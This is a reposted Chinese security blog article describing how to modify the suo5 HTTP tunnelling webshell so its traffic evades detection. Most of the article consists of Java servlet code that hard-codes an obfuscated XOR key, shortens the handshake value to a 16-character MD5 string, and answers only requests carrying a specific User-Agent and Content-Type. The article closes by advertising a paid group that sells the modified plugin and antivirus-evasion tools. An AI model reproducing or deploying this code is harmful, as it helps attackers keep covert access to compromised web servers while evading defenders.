2026-01-13 14:19:43 网络安全文章来源：ZONE.CI 全球网 0 阅读模式

文章总结： 本文介绍了基于suo5v1.3版本的流量特征修改技术，旨在规避检测。主要内容包括：将随机的XOR密钥替换为固定值、调整通信过程值大小为16位MD5、以及修改HTTP请求头验证逻辑。文章最后推广了提供修改版插件及免杀工具的付费圈子。 综合评分： 65 文章分类： 红队,内网渗透,免杀,安全工具

cover_image

suo5流量修改

原创

zyxa

众亦信安

2026年1月13日 10:36 湖南

声明：文中涉及到的技术和工具，仅供学习使用，禁止从事任何非法活动，如因此造成的直接或间接损失，均由使用者自行承担责任。

众亦信安，中意你啊！

温馨提示：当前公众号推送机制调整，仅常读及星标账号可展示大图推送。建议各位将众亦信安团队设为“星标“，以便及时接收我们的最新内容与技术分享。

本文章suo5流量修改是基于1.3的版本上进行修改的

suo5是一个高性能的http隧道代理工具，支持全双工半双工模式，具有很高的传输性能，现在越来越多的webshell管理工具与内存马生成工具都支持了生成suo5木马的功能。从v1.1.0版本开始，其TLS协议传输功能中，增加了新的变化，每次握手使用随机的加密套件和扩展列表项，使得客户端指纹和特征不固定，增大了其TLS加密流量的检测难度

1：suo5验证方式

suo5链接是通过随机生成的data长度，在32到1024字节之间随机取值，作为key来进行xor加解密

之后通过请求头中在Content-Type分别是application/octet-stream和application/x-binary，作为全双工半双工模式标记来进行链接。

2：修改suo5 验证key

在unmarshal函数中我们固定key值，不再让他从data中获取

byte[] secretKey =&nbsp;new&nbsp;byte[]{&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; (byte) (1000&nbsp;/&nbsp;10&nbsp;+&nbsp;13),&nbsp;// 1000/10=100 → 100+13=113 → 'q'&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; (byte)&nbsp;0x61,&nbsp;// 十六进制直接赋值 → 97 → 'a'&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; (byte) ("abcdefghijk".length() +&nbsp;109),&nbsp;// 字符串长度计算 → 11 → 11+109=120 → 'x'&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; (byte) ~(byte)&nbsp;145,&nbsp;// 按位取反 → 145的补码是110 → 'n'&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; (byte) (200&nbsp;-&nbsp;102)&nbsp;// 数学运算 → 98 → 'b'&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; };&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;byte[] header =&nbsp;new&nbsp;byte[4&nbsp;+&nbsp;1];&nbsp;// size and datatype&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; readFull(in, header);

3：修改获取通信过程值的大小

#

增加自定义md5方法，让他返回值为16位

&nbsp;public&nbsp;void&nbsp;tryFullDuplex(HttpServletRequest request, HttpServletResponse response)&nbsp;throws&nbsp;IOException, InterruptedException {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;InputStream&nbsp;in&nbsp;=&nbsp;request.getInputStream();&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;byte[] data =&nbsp;new&nbsp;byte[32];&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; readFull(in, data);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;String&nbsp;datas&nbsp;=&nbsp;md5(new&nbsp;String(data)).substring(0,16);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;OutputStream&nbsp;out&nbsp;=&nbsp;response.getOutputStream();&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; out.write(datas.getBytes());&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; out.flush();&nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;public&nbsp;static&nbsp;String&nbsp;md5(String plainString)&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;String&nbsp;cipherString&nbsp;=&nbsp;null;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 获取实例&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;MessageDigest&nbsp;messageDigest&nbsp;=&nbsp;MessageDigest.getInstance("MD5");&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 计算摘要&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;byte[] cipherBytes = messageDigest.digest(plainString.getBytes(StandardCharsets.UTF_8));&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 输出为16进制字符串&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;StringBuilder&nbsp;sb&nbsp;=&nbsp;new&nbsp;StringBuilder();&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;(byte&nbsp;b : cipherBytes) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sb.append(String.format("%02x", b));&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; cipherString = sb.toString();&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;catch&nbsp;(Exception e) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; e.printStackTrace();&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;cipherString;
&nbsp; &nbsp; &nbsp; &nbsp; }

4：修改header头

public&nbsp;void&nbsp;process(ServletRequest sReq, ServletResponse sResp)&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;HttpServletRequest&nbsp;request&nbsp;=&nbsp;(HttpServletRequest) sReq;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;HttpServletResponse&nbsp;response&nbsp;=&nbsp;(HttpServletResponse) sResp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;String&nbsp;agent&nbsp;=&nbsp;request.getHeader("User-Agent");&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;String&nbsp;contentType&nbsp;=&nbsp;request.getHeader("Content-Type");
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(agent ==&nbsp;null&nbsp;|| !agent.equals("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36")) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(contentType ==&nbsp;null) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(contentType.equals("text/plain")) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; tryFullDuplex(request, response);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(contentType.equals("application/x-www-form-urlencoded")) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; processDataBio(request, response);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;else&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; processDataUnary(request, response);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;catch&nbsp;(Throwable e) {// &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;System.out.printf("process data error %s\n", e);// &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;e.printStackTrace();&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp; }

5：验证

tips：

加入圈子后提供这个修改后suo5 插件的适配版以及免杀工具

圈子介绍

后续更新suo5二开、自研webshell管理工具、cs远控等，目前定价129/年，前30名的师傅享受85折优惠。

往这里看

点点关注不迷路，不定时持续分享各种干货。可关注公众号回复”进群”，也可添加管理微信拉你入群。

项目交流，src/众测挖掘，重大节日保障，攻防均可联系海哥微信。

入了小圈的朋友联系海哥进内部交流群。

免责声明：

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。

任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。

本文转载自：众亦信安 zyxa《suo5流量修改》